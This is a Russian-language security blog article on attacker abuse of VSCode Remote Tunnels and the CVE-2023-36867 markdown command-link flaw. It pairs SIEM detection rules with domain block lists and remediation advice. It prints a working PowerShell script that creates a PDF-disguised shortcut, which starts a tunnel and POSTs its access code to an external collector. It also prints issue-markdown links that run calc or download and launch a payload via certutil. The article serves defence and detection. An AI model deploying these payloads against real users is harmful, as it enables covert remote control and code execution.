Привет, Хабр!
В прошлой статье мы уже разобрали устройство редактора кода VSCode и его особенности. Сегодня хочу рассказать про еще одну уязвимость в расширении, связанном с GitHub, рассмотреть функцию «туннелирование» в VSCode и варианты использования ее атакующими. После посмотрим, что можно сделать для детектирования подобных действий с помощью R-Vision SIEM.
Начнем с функционала туннелирования, который в «стабильном» варианте появился в версии 1.74. Функция позволяет удаленно управлять хостом, используя серверы Microsoft. Для запуска туннеля даже не обязательно устанавливать VSCode, достаточно только серверного компонента приложения VS Code Server. Конечно, это заинтересовало атакующих, и они стали использовать этот метод в своих целях.
Туннелирование в VSCode
Как работает туннель?
Чтобы создать туннель можно воспользоваться установленным VSCode или, если необходимо, обратиться к CLI-версии — подписанному Microsoft двоичному файлу code. exe
. Загрузить его можно с официального сайта по ссылке.
Расширение Visual Studio Code Remote — Tunnels позволяет безопасно подключаться к удаленным машинам без необходимости открывать SSH-порт или разрешать соединение по 22-му порту. Для передачи данных используются сетевые туннели SSH-over-HTTPS, принадлежащие Microsoft. Это также позволяет скрыть IP-адреса атакующих.
Как выглядит подключение атакующего к машине жертвы:
На схеме слева мы видим удалённый узел атакующего, с которого он подключается к туннелю, установленному на серверах Microsoft. Таким образом, эти серверы становятся промежуточным звеном в процессе атаки. Атакующий может использовать на своей машине установленный VSCode с расширением Remote Tunnels или веб-интерфейс vscode.dev. Справа находится удалённый компьютер жертвы, на котором работает серверный компонент VSCode, а также открытый туннель. Все команды выполняются именно на этом компьютере.
Туннелирование работает через серверный компонент VSCode, который использует WSL для установки соединения с сервером Microsoft, применяя шифрование трафика. Поэтому нет необходимости отдельно устанавливать OpenSSH, открывать порты и что-либо дополнительно настраивать на локальном хосте.
Установка туннеля
Microsoft разработали консольную версию VSCode. Это подписанный двоичный файл code.exe
, который может установить туннелированный канал управления и контроля через официальный домен Microsoft https://vscode.dev. При этом для его работы не требуется устанавливать само приложение VSCode на компьютер. Также portable версия частично поддерживает proxy, но об этом чуть позже. Связь с C&C сервером осуществляется через получение конфигурации от адреса https://global.rel.tunnels.api.visualstudio.com через WebSockets. Для создания туннеля атакующему нужна любая активная учетная запись Github.
Поскольку двоичный файл подписан Microsoft, то не нужно беспокоиться о Mark-of-the-Web, так как он будет проигнорирован, а также это позволит обойти Smartscreen. В сочетании с некоторыми действиями, которые будут рассмотрены позже, возможно обойти Applocker и ограниченный языковой режим Powershell если они настроены по умолчанию.
Итак, начнем. Для создания туннеля нужно ввести команду:
code tunnel --name <название_туннеля>
Если использовать CLI-версию, то запускаем исполняемый файл code.exe
и вводим команду.
Пример вывода в консоли кода для авторизации устройства:
Код, указанный в последней строке, необходимо ввести на ресурсе для привязки устройств к аккаунту GitHub. После чего в консоли появится прямая ссылка для подключения, или можно воспользоваться вкладкой Remote Explorer
на сайте VSCode dev и выбрать нужный активный туннель:
Можно просматривать директории или открыть полноценный терминал, например, PowerShell. Можно также устанавливать расширения на удаленную машину и, к примеру, запускать скрипты на Python если он установлен.
Но как атакующий может это использовать, чтобы получить доступ к чужой машине?
Например, он может замаскировать исполнение команд для создания туннеля под LNK-файл с произвольной иконкой, и при попытке его открыть на машине будет создан туннель. Осталось только применить социальную инженерию и убедить пользователя загрузить и открыть файл.
Как это выглядит на практике.
Сгенерировать подходящий LNK-файл можно с помощью команд в PowerShell:
# Путь до исполняемого файла $exePath = "$env:windir\System32\WindowsPowerShell\v1.0\powershell.exe" # Загрузка code.exe с удаленного ресурса, создание туннеля с выводом в файл и отправка этого файла POST запросом на наш адрес $pay = 'cd C:\temp; iwr -uri https://az764295.vo.msecnd.net/stable/97dec172d3256f8ca4bfb2143f3f76b503ca0534/vscode_cli_win32_x64_cli.zip -OutFile vscode.zip; Expand-Archive vscode.zip; cd vscode; .\code.exe tunnel user logout; Start-Sleep 3; Start-Process -FilePath .\code.exe -ArgumentList "tunnel","--name","legittunnel1" -RedirectStandardOutput .\output.txt -NoNewWindow; Start-Sleep 3; iwr -uri "efx4bwm39ofw0orxuluvfuj6cxip6gu5.oastify.com" -Method Post -Body (Get-Content .\output.txt)' # Запуск через PowerShell команд из переменной $pay без отобраения окна процесса $arguments = " -nop -WindowStyle hidden -c $pay" # Имя созданной иконки $LNKName = "Otchet2" # Вызов WScript для создания LNK файла $obj = New-Object -ComObject WScript.Shell $link = $obj.CreateShortcut((Get-Location).Path + "\" + $LNKName + ".lnk") # Запуск свернутого окна $link.WindowStyle = '7' # Указывает что запустить при нажатии на LNK $link.TargetPath = $exePath # Иконка PDF $link.IconLocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13" # Аргументы для исполняемого файла $link.Arguments = $arguments $link.Save()
Один из возможных алгоритмов внедрения такой:
-
скачивание CLI версии VSCode;
-
создание туннеля, но вывод VSCode направляется в отдельный файл;
-
отправление файла в POST запросе на сервер атакующего;
-
введение полученного кода на ресурсе https://github.com/login/device;
-
подключение к туннелю через https://vscode.dev/.
Пример как выглядит открытие LNK файла и подключение к машине:
В последних версиях VSCode, начиная с 1.90, перед подключением к сети появляется дополнительный запрос на выбор провайдера туннеля. Это может быть учётная запись GitHub или Microsoft. Из-за этого представленный POC не будет работать, так как выбор провайдера требует интерактивного ввода.
Кроме того, при запуске CLI-версии VSCode в виде нового процесса не происходит автоматического подключения к системному прокси-серверу. Соединение устанавливается напрямую с серверами. При этом отсутствует возможность указать прокси-сервер в качестве параметра команды при создании туннеля.
Логика детектирование
Есть два способа детектировать создание туннеля.
Первый — проанализировать события в журнале Security
. Однако этот метод не всегда дает точный результат, поскольку локальный сервер может быть создан не всегда, а команда для создания туннеля может быть обфусцирована.
Второй вариант — отслеживать событие фактического подключения к туннелю, а именно событие из журнала Security 4688: A new process has been created. Этот метод мы и будем применять.
Выглядит оно следующим образом:
Нас интересуют поля, выделенные красным. Это родительский и дочерний процесс node.exe
и характерный ключ type=extensionHost
в исполненной команде — поле cmd
.
Ключ указывает на то, что в ходе сессии будут задействованы расширения, установленные на удалённом компьютере. Также можно использовать события из журнала Sysmon
Event ID 1: Process creation. Поля и значения в этих событиях будут аналогичными тем, что указаны выше.
Если у нас установлен Sysmon
, мы можем отслеживать запросы к домену Microsoft, которые связаны с туннелированием. Это событие Sysmon 22: DNSEvent (DNS query):
Здесь нам интересен запрашиваемый домен tunnels.api.visualstudio.com
, который указан в поле cs1
.
Под спойлером представлено правило детектирования для Windows, написанное на языке R-Object в R-Vision SIEM. Правило детектирует запросы домена Microsoft для создания туннеля и события соединения с туннелем при запуске процесса "node.exe"
.
Удаленное подключение к узлу через туннелирование в VSCode
id: 7b960a74-34fa-4fde-adf5-6bde61d60167 name: Удаленное подключение к узлу через туннелирование в VSCode version: 1.0.0 date: 2024-06-18 author: Vladislav Kormishkin, R-Vision status: stable type: correlation_rule severity: high description: Правило срабатывает при установлении соединения с сервером для удаленного управления узлом с помощью функции редактора кода VSCode для использования туннелей - ключ "tunnel" в командной строке. Правило также обнаруживает запросы доменов Microsoft, которые нужны для первичной конфигурации сервера - запроса доступных кластеров. reference: - https://badoption.eu/blog/2023/01/31/code_c2.html tags: - Execution - attack.T1204 - attack.T1204.001 - attack.T1059 data_source: - Windows - Security - EventID_4688 - Sysmon_Operational - EventID_1 - EventID_22 known_false_positives: - "Легитимное использование удаленного управления узлом с помощью VSCode" group_by: - dvchost filter: !vrl | .dvendor == "Microsoft" && includes(["1", "4688", "22"], .externalId) aliases: event_code: filter: !vrl | flag = false if includes(["1", "4688"], .externalId) { oldFileName = downcase(to_string(.oldFileName) ?? "-") dproc = downcase(to_string(.dproc) ?? "-") sproc = downcase(to_string(.sproc) ?? "-") cmd = downcase(to_string(.cmd) ?? "-") if (ends_with(dproc, "\\node.exe") || oldFileName == "node.exe") && contains(dproc, "vscode") && ends_with(sproc, "\\node.exe") && contains(cmd, "\\server\\\\out\\\\bootstrap-fork") && contains(cmd, "type=extensionhost") { flag = true } } if .externalId == "22" { cs1 = downcase(to_string(.cs1) ?? "-") if contains(cs1, ".tunnels.api.visualstudio.com") || contains(cs1, ".devtunnels.ms") { flag = true } } flag select: alias: event_code ttl: 1 on_correlate: !vrl | .dvendor = to_string(%event_code.dvendor) ?? "-" .dhost = to_string(%event_code.dhost) ?? "-" .dproc = to_string(%event_code.dproc) ?? "-" .dvchost = to_string(%event_code.dvchost) ?? "-" .duser = to_string(%event_code.duser) ?? "-" .suser = to_string(%event_code.suser) ?? "-" .sntdom = to_string(%event_code.sntdom) ?? "-" .sproc = to_string(%event_code.sproc) ?? "-" .oldFileName = to_string(%event_code.oldFileName) ?? "-" .dntdom = to_string(%event_code.dntdom) ?? "-" .cmd = to_string(%event_code.cmd) ?? "-" .sourceServiceName = to_string(%event_code.sourceServiceName) ?? "-" .cs4 = to_string(%event_code.cs4) ?? "-" .cs1 = to_string(%event_code.cs1) ?? "-" externalId = to_string(%event_code.externalId) ?? "-" if externalId == "22" { .msg = "На узле " + .dvchost + " пользователем " + .suser + " домена " + .sntdom + " обнаружен запрос адреса для удаленного управления узлом с помощью редактора кода VSCode, процесс инициатор " + .dproc + ", запрошенные адреса: " + .cs1 } else if includes(["1", "4688"], externalId) { .msg = "На узле " + .dvchost + " пользователем " + .suser + " домена " + .sntdom + " запущен сервер для удаленного управления узлом с помощью редактора кода VSCode и процесса " + .sproc + ", выполненная команда: " + .cmd }
Рекомендации по защите
Чтобы предотвратить создание туннелей, выполните следующие действия:
-
Заблокируйте домены на межсетевом экране, которые участвуют в формировании туннеля.
*.tunnels.api.visualstudio.com *.devtunnels.ms
Все домены из документации Microsoft:
Dev Tunnels: - global.rel.tunnels.api.visualstudio.com - [clusterId].rel.tunnels.api.visualstudio.com - [clusterId]-data.rel.tunnels.api.visualstudio.com - *.[clusterId].devtunnels.ms - *.devtunnels.ms
-
Настройте групповые политики для ограничения создания туннелей.
На сайте Microsoft можно найти подробную информацию о том, как это сделать. Однако следует учесть, что политики не будут действовать, если версия Visual Studio Code (VSCode) старше 1.88.0. Более ранние версии не поддерживают групповые политики. Тем не менее, атакующие могут использовать более старые версии.
-
Используйте Proxy для пропуска трафика во внешнюю сеть, это усложнит задачу построения туннеля если VSCode CLI будет запускаться как отдельный процесс.
-
Применяйте правила детектирования в SIEM.
GitHub Pull Requests and Issues
Как работает уязвимость
Теперь рассмотрим ещё одну уязвимость в расширениях для VSCode. На этот раз речь идёт о CVE-2023-36867 для GitHub Pull Requests and Issues.
Хотя процесс эксплуатации и сама уязвимость могут показаться простыми, смогли бы мы обнаружить её эксплуатацию в системе?
Расширение, разработанное GitHub, позволяет пользователям управлять Issues и Pull requests своих проектов прямо из IDE VSCode. В функционал входит просмотр описаний Issues с использованием markdown для форматирования текста.
Атакующие могут использовать это расширение, создавая задачу GitHub с блоком кода markdown, содержащим ссылку с командой:
# [Click here](command:workbench.extensions.installExtension?["pspaul.pop-a-calc",{"donotSync":true}])
Установка потенциально вредоносного расширения:
При нажатии на ссылку будет установлено расширение pspaul.pop-a-calc для VSCode. В этом случае это безобидное расширение, которое запускает калькулятор при каждом запуске VSCode.
Однако, как мы уже узнали из предыдущей статьи, ничто не мешает загрузить в магазин вредоносное расширение.
Аналогично можно выполнить любую команду в Windows. В качестве примера рассмотрим вызов калькулятора:
# [Open Calculator](command:workbench.action.terminal.new?{"config":{"executable":"calc"}})
В веб-интерфейсе GitHub команда будет отображаться следующим образом:
Расширение GitHub Pull Requests and Issues
при отображении окна использует рендеринг текста и отображает ссылку внутри markdown. Так это выглядит для пользователя:
Когда жертва просматривает проблему с помощью расширения VSCode и нажимает на ссылку, на её устройстве устанавливается и запускается расширение, контролируемое атакующим. Последствием этой уязвимости можно считать удаленное выполнение кода, поскольку атакующие могут создать Issues в GitHub или pull request, не требуя от жертвы загрузки или открытия вредоносных файлов.
Запуск калькулятора через внутренний функционал команд VSCode:
Загрузка reverse-shell на примере следующих данных в Issues:
# [View](command:workbench.action.terminal.new?{"config":{"executable":"cmd","args":["/c","certutil","-urlcache","-f","http://10.150.50.103:8081/g","%tmp%/g.exe","&","start","/b","%tmp%/g.exe"]}})
Для отображения текста в виде ссылки в расширении существует ограничение на количество символов — оно не должно превышать 200. Это может усложнить атакующим реализацию исполнения в системе длинных команд. Поэтому в представленном PoC использовали минимальное количество команд и ключей, необходимых для достижения цели.
Детектирование
Рассмотрим события, которые генерируются при нажатии на ссылку, на примере следующей команды запуска revers-shell:
# [View](command:workbench.action.terminal.new?{"config":{"executable":"cmd","args":["/c","certutil","-urlcache","-f","http://10.150.50.103:8081/g","%tmp%/g.exe","&","start","/b","%tmp%/g.exe"]}})
Первое событие это запуск командной строки в журнале Security
с EventID 4688: A new process has been created):
Рассмотрим изображение выше. Здесь нас интересует запуск процесса cmd.exe (выделен желтым цветом) как дочернего процесса VSCode (зеленый цвет) с выполнением произвольной команды (красный цвет).
Вся цепочка запущенных процессов отображена на следующем скриншоте (события из журнала Security
с EventID 4688: A new process has been created). Остальные события, кроме запуска cmd.exe
, нас мало интересуют, так как заранее мы не знаем, что именно будет записано в PoC.
Среди цепочки событий запуска процесса нас интересует поле cmd
(красный), где происходит запуск командной строки cmd
, и поле sproc
(зеленый), где указан родительский процесс VSCode.
Схематично это будет выглядеть так:
code.exe -> cmd.exe -> certutil.exe -> cmd.exe -> g.exe
Но это конкретный кейс, поэтому для нас ключевым индикатором будет запуск командной строки или PowerShell от VSCode. Чтобы снизить количество ложных срабатываний, необходимо исключить из правила легитимные запуски командной строки cmd и PowerShell. Исключения сделаны для:
-
Запуска
cmd.exe
без исполнения дополнительных команд. -
Запуск
wsl.exe
с ключом-l
для перечисления дистрибутивов в системе. -
Запуск
cmd.exe
с выводом сообщения «echo ok». -
Powershell.exe
с запуском скрипта для интеграции с VSCodeshellintegration.ps1
. -
И запуск
Powershell.exe
с командой-noexit -command "try { .
, данное событие часто генерируется при работе VSCode.
Если в Issues будет указан запуск утилиты или исполняемый файл VSCode будет переименован, то необходимо использовать правила, нацеленные на обнаружение подозрительной активности на узле. Например, запуск утилиты curl или командлета Invoke-WebRequest. Файл VSCode CLI даже не имеет метаданных приложения (спасибо Microsoft), из-за этого мы не сможем определить, что был запущен исходный файл по событиям Sysmon 1: Process creation, где пишутся эти метаданные:
При этом метод с установкой расширения не отличается от установки его пользователем, поэтому здесь можно использовать те же правила на использование различных утилит для загрузки файлов на хост.
Под спойлером представлено правило детектирования для Windows, написанное на языке R-Object в R-Vision SIEM. В данном правиле мы отслеживаем запуск командной строки или PowerShell с родительским процессом code.exe
, исключая случаи стандартного запуска:
Выполнение команд в системе от редактора кода VSCode
id: 37ffcb14-f594-462a-a319-dcd541a6007a name: Выполнение команд в системе от редактора кода VSCode version: 1.0.0 date: 2024-06-24 author: Vladislav Kormishkin, R-Vision status: stable type: correlation_rule severity: high description: Правило срабатывает при запуске командной оболочки cmd или PowerShell от процесса редактора кода VSCode. Данное поведение может указывать на эксплуатацию уязвимости CVE-2023-36867 в расширении GitHub Pull Requests and Issues, связанной с недостаточной обработкой файла типа Markdown, что может привести к исполнению команд на удаленном узле. При срабатывании правила рекомендуется проверить, что за команды выполнялись, какие создавались дочерние процессы. В случае обнаружения исполнения подозрительных команд, например, загрузки файлов с удаленных ресурсов, необходимо изолировать хост в сети, заблокировать ресурс, с которого была обнаружена попытка загрузки файла, провести внутренне расследование инцидента. Рекомендации - своевременно обновлять редактор кода VSCode и все установленные расширения, не отключать автобновления для приложения и расширений, не устанавливать незнакомые/подозрительные расширения из магазина. reference: - https://www.sonarsource.com/blog/vscode-security-markdown-vulnerabilities-in-extensions/ tags: - Execution - attack.T1204 - attack.T1204.001 - attack.T1059 data_source: - Windows - Security - EventID_4688 - Sysmon_Operational - EventID_1 known_false_positives: - "Пока неизвестно" group_by: - dvchost filter: !vrl | .dvendor == "Microsoft" && includes(["1", "4688"], .externalId) aliases: event_code: filter: !vrl | flag = false dproc = downcase(to_string(.dproc) ?? "-") sproc = downcase(to_string(.sproc) ?? "-") oldFileName = downcase(to_string(.oldFileName) ?? "-") cmd = downcase(to_string(.cmd) ?? "-") if ends_with(sproc, "\\code.exe") && (((ends_with(dproc, "\\cmd.exe") || oldFileName == "cmd.exe") && !contains(cmd, "\"cmd\" /c \"echo ok\"") && # перечислены исключения для cmd при стандартном запуске терминала !contains(cmd, "/d /s /c \\\"wsl.exe -l -q\\\"") && # запуск WSL при работе приложения !ends_with(cmd, ":\\\\windows\\\\system32\\\\cmd.exe")) || # Запуск cmd без исполнения команд ((ends_with(dproc, "\\powershell.exe") || oldFileName == "powershell.exe") && !contains(cmd, ":\\\\windows\\\\system32\\\\windowpowershell\\\\v1.0\\\\powershell.exe -noexit -command \\\"try { . \\") && # исключения для powershell при стандартном запуске терминала !contains(cmd, "\\\\resources\\\\app\\\\out\\\\vs\\\\workbench\\\\contrib\\\\terminal\\\\browser\\\\media\\\\shellintegration.ps1"))) { # Запуск скрипта интеграции VSCode с PowerShell flag = true } flag select: alias: event_code ttl: 1 on_correlate: !vrl | .dvendor = to_string(%event_code.dvendor) ?? "-" .dhost = to_string(%event_code.dhost) ?? "-" .dproc = to_string(%event_code.dproc) ?? "-" .dvchost = to_string(%event_code.dvchost) ?? "-" .duser = to_string(%event_code.duser) ?? "-" .suser = to_string(%event_code.suser) ?? "-" .sntdom = to_string(%event_code.sntdom) ?? "-" .sproc = to_string(%event_code.sproc) ?? "-" .oldFileName = to_string(%event_code.oldFileName) ?? "-" .dntdom = to_string(%event_code.dntdom) ?? "-" .cmd = to_string(%event_code.cmd) ?? "-" .msg = "На узле " + .dvchost + " пользователем " + .suser + " домена " + .sntdom + " от редактора кода VSCode запущена команда: " + .cmd + ", данное поведение может указывать на эксплуатацию уязвимости CVE-2023-36867 или другой уязвимости с возможностью исполнения команд"
Исправление уязвимости
В расширении присутствует функция преобразования контента в plain-текст:
Но проблема в том, что если преобразованный текст содержит форматирование Markdown, то он все равно будет визуализирован в VSCode.
GitHub устранил уязвимость в своем расширении в версии 0.66.2, убрав свойство isTrusted
для созданных строк markdown. Проверка через API функцию isTrusted
в файле src/issues/util.ts позволяла считать все строки markdown доверенными.
isTrusted
используется в расширениях со значением limited
, что позволяет реализовать работу отдельных функций расширения в недоверенной среде (подробнее в документации). Проверка markdown-строк в версии до 0.66.2:
const markdown: vscode.MarkdownString = new vscode.MarkdownString(undefined, true); markdown.isTrusted = true;
В версиях начиная с 0.66.2 с помощью ссылок в markdown не получится выполнить команды в VSCode.
Вместо значения isTrusted
была добавлена проверка на supportHtml
для поддержки html формата в Issues label, измененная функция выглядит так:
const markdown: vscode.MarkdownString = new vscode.MarkdownString(undefined, true); markdown.supportHtml = true;
Однако такой способ устранения уязвимости не позволит разработчикам использовать команды-ссылки. Если вам действительно необходимо применять их в Markdown, вы можете установить для свойства isTrusted
список разрешенных команд. Это поможет предотвратить использование атакующими произвольных команд в случае, если они найдут способ внедрить код в Markdown. Более подробную информацию по этому вопросу можно найти в документации VSCode.
Чтобы избежать внедрения Markdown, всегда проверяйте, очищайте или экранируйте данные перед их использованием для создания Markdown. В VSCode вы можете воспользоваться классом MarkdownString
, который предлагает функцию AppendText
для правильной обработки необработанного текста перед его добавлением.
Заключение
Сегодня мы рассмотрели еще одну уязвимость в расширениях для VSCode, которая позволяет выполнять команды на удаленной машине. Мы изучили последовательность событий, возникающих при использовании этой уязвимости, и предложили правило для Windows, основанное на нетипичном выполнении команд через командную строку или PowerShell.
Также мы рассмотрели туннелирование как удобный инструмент для разработки, который может быть использован атакующими для сокрытия своих действий за легитимным ПО и трафиком Microsoft. Учитывая, что многие данные передаются на сервера Microsoft, это становится особенно опасным.
Мы предлагаем несколько способов, которые помогут ограничить использование туннелей. К ним относятся настройка сетевых параметров и создание правила для обнаружения подозрительной активности.
Кроме того, вы можете использовать R-Vision SIEM для выявления таких действий. Правило сработает, когда будет успешно установлено соединение с удалённым сервером или когда будут выполнены запросы к известным DNS-серверам Microsoft, которые используются для туннелирования трафика. Это позволит своевременно обнаружить и предотвратить возможные угрозы.
В заключение, мы выделили две рекомендации:
-
Не отключайте автообновление расширений.
-
Не переходите по ссылкам в Issues, если вы точно не знаете, что внутри них.
Эти меры помогут повысить безопасность вашей среды разработки и снизить риск атак, связанных с уязвимостями и туннелированием.
Автор: Владислав Кормишкин (@Watislove), аналитик-исследователь угроз кибербезопасности R-Vision.
ссылка на оригинал статьи https://habr.com/ru/articles/849736/
Добавить комментарий